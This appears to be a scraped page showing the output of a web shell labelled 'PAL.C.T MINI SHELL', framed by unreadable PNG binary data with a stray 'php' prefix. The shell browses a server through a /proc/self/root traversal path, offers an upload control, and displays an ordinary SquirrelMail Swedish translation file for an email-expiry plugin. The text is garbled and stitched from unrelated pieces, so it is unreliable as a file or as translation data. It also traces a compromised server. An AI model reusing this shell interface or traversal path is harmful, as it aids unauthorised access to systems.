php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /proc/self/root/proc/self/root/usr/share/squirrelmail/locale/sv_SE/LC_MESSAGES/
upload
files >> //proc/self/root/proc/self/root/usr/share/squirrelmail/locale/sv_SE/LC_MESSAGES/expire.po

# Swedish (sv_SE) expire Translation (SquirrelMail plugin)
# Copyright (c) 1999-2009 The SquirrelMail Project Team
# This file is distributed under the same license as the SquirrelMail package.
# Fredrik Jervfors <jervfors@squirrelmail.org>, 2006-2009.
# $Id: expire.po 13541 2009-04-15 12:42:12Z jervfors $
msgid ""
msgstr ""
"Project-Id-Version: expire 1.3.1\n"
"Report-Msgid-Bugs-To: Florian Daeumling <jam@qv90.de>\n"
"POT-Creation-Date: 2006-05-13 11:09+0200\n"
"PO-Revision-Date: 2006-06-11 11:32+0200\n"
"Last-Translator: Fredrik Jervfors <jervfors@squirrelmail.org>\n"
"Language-Team: Swedish <squirrelmail-i18n@lists.sourceforge.net>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"

#, php-format
msgid "ERROR (%s): Can't load config file"
msgstr "FEL (%s): Kan inte öppna konfigurationsfilen"

msgid "Cannot create option directory!"
msgstr "Kan inte skapa en mapp att lagra inställningarna i."

msgid "Please contact system administrator."
msgstr "Vänligen rapportera detta fel till systemadministratören."

msgid "Cannot create option file!"
msgstr "Kunde inte skapa en inställningsfil!"

msgid "Cannot create temporary file!"
msgstr "Kunde inte skapa en temporärfil!"

msgid "Expiration"
msgstr "Förfallodag"

msgid "Expire emails in folder"
msgstr "Förfallodag för mapp"

msgid "Select a folder"
msgstr "Välj en mapp"

msgid "after"
msgstr "efter"

msgid "days"
msgstr "dygn"

msgid "Define"
msgstr "Spara"

#, php-format
msgid "%s after %s days"
msgstr "%s efter %s dygn"

msgid "Delete"
msgstr "Stryk"

msgid "Error"
msgstr "Fel"

msgid "This folder definition cannot be modified"
msgstr "Denna folder kan inte modifieras"

msgid "Cannot read option file!"
msgstr "Kan inte läsa inställningarna."

#, php-format
msgid "Expiration modified successfully for folder %s."
msgstr "Förfallodagen för mappen %s har ändrats."

#, php-format
msgid "Expiration deleted successfully for folder %s."
msgstr "Förfallodagen för mappen %s har strukits."

#, php-format
msgid "Expiration set successfully for folder %s."
msgstr "Förfallodagen för mappen %s är satt."

msgid "Cannot replace option file!"
msgstr "Kan inte ersätta inställningarna."

msgid "You have not selected a folder."
msgstr "Du har inte valt en mapp."

msgid "You have not entered a valid number of days."
msgstr "Du har inte angett ett giltigt antal dygn."
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`